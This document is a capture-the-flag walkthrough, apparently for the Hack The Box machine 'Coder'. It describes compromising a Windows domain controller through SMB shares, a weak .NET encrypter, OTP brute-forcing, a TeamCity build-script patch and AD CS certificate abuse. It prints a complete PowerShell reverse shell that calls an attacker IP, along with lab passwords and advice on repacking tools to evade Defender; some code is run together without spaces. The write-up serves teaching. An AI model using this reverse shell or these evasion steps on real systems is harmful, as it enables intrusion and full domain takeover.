Enumerate interesting files in the SMB shares. Reverse the binary used for encryption to get the AES-256 secrets to decrypt the file and open the KeePass file to gain access to the teamcity-dev subdomain. Exploit the vulnerable OTP service to login. Then we can add our malicous diff file to patch the Powershell script and catch a reverse shell. Once we have a foothold, we can find more diff files. One of them containing the encrypted password for the e.black user.
To become Administrator, we need to exploit the rights of the PKI Admins group. Analysing the privleges of the group, we find that we can upload and issue our own vulnerable certificates which we then can use to forge a certificate for the Administrator user. PKINITtools was used to dump the NT hash.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 19:29 CEST
Nmap scan report for coder.htb (10.10.11.207)Host is up (0.020s latency).
Not shown: 65507 closed tcp ports (conn-refused)PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-24 01:26:18Z)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)|_ssl-date: 2023-10-24T01:27:16+00:00; +7h55m47s from scanner time.
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after: 2023-06-30T04:24:26
443/tcp open ssl/http Microsoft IIS httpd 10.0
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2023-10-24T01:27:15+00:00; +7h55m46s from scanner time.
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=default-ssl/organizationName=HTB/stateOrProvinceName=CA/countryName=US
| Not valid before: 2022-11-04T17:25:43
|_Not valid after: 2032-11-01T17:25:43
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after: 2023-06-30T04:24:26
|_ssl-date: 2023-10-24T01:27:15+00:00; +7h55m46s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)|_ssl-date: 2023-10-24T01:27:16+00:00; +7h55m47s from scanner time.
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after: 2023-06-30T04:24:26
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)|_ssl-date: 2023-10-24T01:27:15+00:00; +7h55m46s from scanner time.
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after: 2023-06-30T04:24:26
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49688/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49689/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
59768/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h55m46s, deviation: 0s, median: 7h55m45s
| smb2-time:
| date: 2023-10-24T01:27:08
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.49 seconds
smbclient -N -L //coder.htb
Can't load /etc/samba/smb.conf - run testparm to debug it
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Development Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
The ‘Users’ directory contains a lot of files:
1
smbclient -N //coder.htb/Users
However, the “Development” share caught my eye.
We can recursively download the share using the following commands:
1
2
3
4
5
6
smbclient -N -L //coder.htb/Development
mask ""recurse ON
prompt OFF
lcd './'mget *
This download will take some time to complete. Upon completion we will have two directories: (Development was there because I was testing something earlier)
Inside the Temporary Projects folder we find some interesting stuff.
A file Encrypter.exe and a file with the name s.blade.enc.
The Encrypter.exe is some kind of windows excecutable.
s.blade.enc looks like some encrypted data.
Our next step will be figuring out how it was encrypted.
For this part I had to revive ye olden virtual machine, because this is a .NET compiled application. Now we’ll host the binary so we can copy it to our virtual machine, for this I use this oneliner. It lists the file, shows my IP address and hosts the directory.
After ignoring all the warnings given by Microsoft Windows, you should now have it on your machine.
For reversing .NET binaries on windows my go-to is ILSpy however feel free to use any other decompiler.
Here is a screenshot of the main method:
We are interested in the EncryptFile method:
It looks like it encrypts files using AES-256.
The EncryptFile method takes the following parameters as input: a sourcefile, a destinationfile, a key, and the IV.
he vulnerability here is that a pseudo-random number generator is used. We can find the timestamp the file was created and use that to compute the IV and key.
usingSystem;publicclassProgram{publicstaticstringByteArrayToString(byte[]ba){returnBitConverter.ToString(ba).Replace("-","");// This just converts the byte array to a hexstring}publicstaticvoidMain(){Int32value=1668205028;// The timestamp we retrieved from the smb shareRandomrandom=newRandom(Convert.ToInt32(value));byte[]array=newbyte[16];// random.NextBytes(array);// compute the IVbyte[]array2=newbyte[32];random.NextBytes(array2);// compute the KeyConsole.WriteLine("Key: "+ByteArrayToString(array2));Console.WriteLine("IV: "+ByteArrayToString(array));// writes it all to the console}}
Looks like we can use Server Message Block (SMB) to connect using the password AmcwNO60Zg3vca3o0HDrTC6D, which means the relative IDs can be bruteforced to obtain all the users present on the domain:
After discovering the teamcity-dev subdomain we can authenticate using the s.blade username and veh5nUSZFFoqz9CrrhSeuwhA password.
However we can’t login directly due to MFA :(
Making a request to 2fa.html reveals the password parameter. According to the website it’s only 6 digits long. That’s not alot so let’s make an attempt at bruteforcing it.
After authenticating, we find ourselves on the TeamCity starting page.
I decided to peek around and noticed it runs or builds the hello_world.ps1 which was in the /Migrations/teamcity_test_repo share.
The content of hello_world.ps1 was the following:
1
2
#Simple repo test for Teamcity pipelinewrite-host"Hello, World!"
When viewing a build I got curious and pressed the top right corner of the screen to get more info. This revealed that we can patch the script.
So I changed my hello_world.ps1 to:
1
2
3
# Simple repo test for Teamcity pipelinewrite-host"Hello, World!"$LHOST="10.10.14.15";$LPORT=1337;$TCPClient=New-ObjectNet.Sockets.TCPClient($LHOST,$LPORT);$NetworkStream=$TCPClient.GetStream();$StreamReader=New-ObjectIO.StreamReader($NetworkStream);$StreamWriter=New-ObjectIO.StreamWriter($NetworkStream);$StreamWriter.AutoFlush=$true;$Buffer=New-ObjectSystem.Byte[]1024;while($TCPClient.Connected){while($NetworkStream.DataAvailable){$RawData=$NetworkStream.Read($Buffer,0,$Buffer.Length);$Code=([text.encoding]::UTF8).GetString($Buffer,0,$RawData-1)};if($TCPClient.Connected-and$Code.Length-gt1){$Output=try{Invoke-Expression($Code)2>&1}catch{$_};$StreamWriter.Write("$Output`n");$Code=$null}};$TCPClient.Close();$NetworkStream.Close();$StreamReader.Close();$StreamWriter.Close()
And to get the diff format we just use git.
1
git diff hello_world.ps1 > quacky.patch
We can now upload and run it to catch an easy reverse shell.
1
2
3
4
nc -lvnp 1337Connection from coder.htb:64698
whoami
coder\svc_teamcity
Because the shell is difficult to use, I decided to upgrade it with Villian. Start Villian, and let the reverse shell connect to TCP port 4443.
After snooping around some files on the box, I found this directory which contained a lot of diff files.
The first file seems promising.
In the image below, I formatted it to make it easier to read.
The diff file appears to be removing the key file and adding an encrypted string, named enc.txt. From this, we can infer that the following is likely to be another cryptography challenge.
And we find that Erron Black is a member of PKI admins. Unfortunately, this group does not have any outbound object control.
The s.blade user is a member of the software developers group and the BUILDAGENT MGMT group (see the image below):
We quickly find that all of our tools get blocked by Windows Microsoft Defender, an antivirus solution developed for Windows machines. To bypass it, we can use a repacking utility (similar to e.g. UPX).
For this box, we used NimPacket, though other (re)packers are likely to work as well.
This binary will not be blocked by Defender anymore! :
Now let’s continue with our active directory tomfoolery.
We can also use Evil-winrm to load in powershell scripts. To do so make a directory with your scripts I.E /pwsh/ and start evil-winrm with the -s parameter:
We notice that our user e.black who is in the PKI Admins group has some interesting rights.
Running the following commands reveals a Description for this group.
*Evil-WinRM* PS C:\Users\e.black\Documents> net GROUP "PKI Admins" /domain
Group name PKI Admins
Comment ADCS Certificate and Template Management
Members
-------------------------------------------------------------------------------
e.black
The command completed successfully.
The important part here is that we can manage templates. Previous attempts with certipy failed possible because we can’t do it remotely. Let’s make another attempt using Certify.exe.
Let’s enumerate the certificate templates for our tomfoolery purposes
Coder-WebServer
KerberosAuthentication
DirectoryEmailReplication
DomainControllerAuthentication
SubCA
WebServer
DomainController
Machine
EFSRecovery
Administrator
EFS
User
Unfortunatly none of these are vulnerable to any known misconfigurations.
But since we are in the PKI Admins group we can manage the Active Directory Certificate Service.
With this knowledge we can attempt to upload our own templates. Usualy this is done with the GUI (Microsoft Management Console). We don’t have access to a RDP connection so we will have to be a little bit more creative:
This will give us a cache file and the AS-REP hash, which we’re going to need later.
Don’t forget to export the ccache to the enviroment variable KRB5CCNAME!